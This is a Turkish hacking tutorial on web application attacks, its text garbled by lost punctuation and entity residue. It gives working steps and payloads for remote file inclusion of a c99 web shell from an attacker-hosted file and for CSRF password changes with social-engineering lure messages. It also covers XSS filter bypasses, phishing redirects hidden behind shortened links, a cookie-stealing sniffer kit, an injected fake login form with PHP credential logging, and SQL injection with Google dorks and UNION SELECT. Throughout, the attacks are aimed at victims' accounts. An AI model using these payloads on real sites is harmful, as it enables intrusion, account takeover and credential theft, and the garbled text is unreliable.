Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
XSS
1-Cross Site Scripting Nedir
Kelime manası ldquoCcedilapraz Kod Ccedilalıştırmakrdquo dırTehlikeli bir accedilık olduğu gibi ccedilok basit bir zafiyettirCcedilokbuumlyuumlk sistemlerde bile rastlanabilen bir tuumlrrsquoduumlr
2-Cross Site Scripting Hangi Mantığa Dayalıdır
Web Sayfalarında oturum accedilarken ldquoBeni Anımsardquo ldquoOturumumu Suumlrekli Accedilık Tutrdquo şeklindeseccedileneklerle karşılaşırızBu seccedileneklere tıkladıktan sonra oturum accediltığımızda Sistem tarafındanbilgisayarımıza ldquoCookierdquo diye tabir ettiğimiz kuumlccediluumlk metin dosyaları saklanırBunun sebebi o Web
sayfasına bir dahaki ziyaretimizde bizi tanıması ve bizden giriş iccedilin kullanıcı adı ve şifreistememesidirXSS Accedilığının mantığı da buna dayalıdırBir Web Sayfasında XSS Zaafiyeti bulup o
Web Sayfasına uumlye olan kişilerin oturum bilgilerini yani Cookielerini ccedilalıp Cookie değişikliğine sebepolup hesabı ele geccedilirmektir
3-Cross Site Scripting Accedilığı İccedilin Lazım Olan Metaryeller
Bir Web sayfasında XSS accedilığının olduğunu anlamak iccedilin bize uygun bir tarayıcı lazımBen MozillaKullanıyorumSiz Dilerseniz Opera Kullanabilirsiniz
Accedilığı bulduktan sonra hedef sitenin Admin şifresine ulaşmak istiyorsak bize lazım olacak şey bir XSSSniffer kurmaktırBunu ilerleyen vakitlerde aşağıda goumlreceğiz
4-Cross Site Scripting İle Neler Yapabiliriz
Yukarıda bahsettiğim gibi bir web sitesinde XSS Zafiyeti bulup o web sitesindeki Kullanıcıların veyasite youmlneticisi olan Adminrsquonin Cookielerini ccedilalıp hesabı ele geccedilirebilirizXSS Accedilığı sadece buna
yaramazJavascript kodlarıyla backlink yapabilir yada kurbana sağlam bir Keylogger yedirebiliriz
5-Cross Site Scripting Accedilığı Nerelerde Bulunur
a-) Search Kutularında
XSS accedilığı bir ccedilok yerde bulunabilirEğer bir XSS Accedilığı arıyorsanız sizlere birkaccedil dork verip onunuumlzerinde denemeler yapabilirsinizDork
inurlrdquosearchphpid=rdquo
inurlrdquoindexphpid=rdquo
inurlrdquokayitphpid=rdquo
bu dorklar ccediloğaltılabilir
Search (Arama) Kutularında id= değeri ziyaretccedili defterleri Kayıt Formları Yorum Formları vbyerlerde de bulunabilirBir Search kutusu duumlşuumlnuumln
Search kutusuna XSS accedilığının olup olmadığını anlamak iccedilin bir alert kodu yazalımltscriptgtalert(ldquoBuralar eskiden hep XSS dirdquo)ltscriptgt
Yazdıktan sonra arama butonuna tıklıyoruz Eğer accedilık mevcut ise ekrana bir alert yansıyacaktır şuşekilde
b-) id= Değerinin Bulunduğu Yerlerde
Bir Web sayfası duumlşuumlnuumln wwwhedefsitecomdegerphpid=3 şeklinde olsunId= değerinin sağtarafında bulunan rakam harf kelime veya her ne ise silip onun yerine accedilık olduğunu anlamamız iccedilin
alert kodunu yazıyoruz
wwwhedefsitecomdegerphpid= ltscriptgtalert(ldquoBuralar Eskiden Hep XSS di rdquo)ltscriptgt
Daha sonra bu goumlnderdiğimiz sorgu ile ekrana alttaki şekilde bir alert yansıyorsa accedilık olduğunu tekraranlıyoruz
c-) Ziyaretccedili Defterlerinde (STORED XSS)
Uumlstte goumlruumllen resim bir sitede bulunan ziyaretccedili defteridirZiyaretccedili Defterleri web sayfaları iccedilin ccediloktehlike arz eden yerlerdirBu zaafiyet tuumlruumlne STORED XSS Zaafiyeti denilirBuraya yazdığımız bir
HTML veya Javascript kodu herkez tarafından goumlruumllebildiği iccedilin sayfada ccedilalıştığında ziyaretccedili defterinegiren herkez tarafından sizin girdiğiniz kod ccedilalışacaktırYani gireceğiniz HTML Meta youmlnlendirme kodu
sayfaya giren şahısları hedef adreslere youmlnlendirecektirBu saldırıya biraz daha suumls katmak iccedilinPhising sayfanıza veya Fake sayfanıza youmlnlendirme yapabilirsinizŞimdi burada goumlruumllen kutucuklara
XSS Alert kodunu yazıyoruz
Eğer accedilık varsa sayfa bizim kodumuzu ccedilalıştıracaktırYani ekrana alert gelecektir
d-) Kayıt Formlarında
Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)
Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre
ediyoruzEğer accedilık mevcutsa alert alınır
e-) Yorum Formlarında
Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım
Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti
Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz
Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği
esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma
oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))
6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)
Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=
XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde
bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı
a-) HTML Bypass Code
Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım
Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım
wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt
Bu sefer ekrana alert yansıdığını goumlreceksiniz
b-) Bypass JavaScript Code
Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım
wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt
Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim
Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız
c-)Normal Bypass
Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız
Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına
7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -
Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site
hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir
kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz
Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde
Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin
Yazacağımız kod şu şekildedir
wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt
Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık
olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=
wwwfakefacebooksayfamcom ltscriptgt
adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır
Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır
8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)
Sniffer Nedir
Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle
değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini
ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır
İşleme başlamadan Sniffer dosyalarını vereyim sizlere
Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
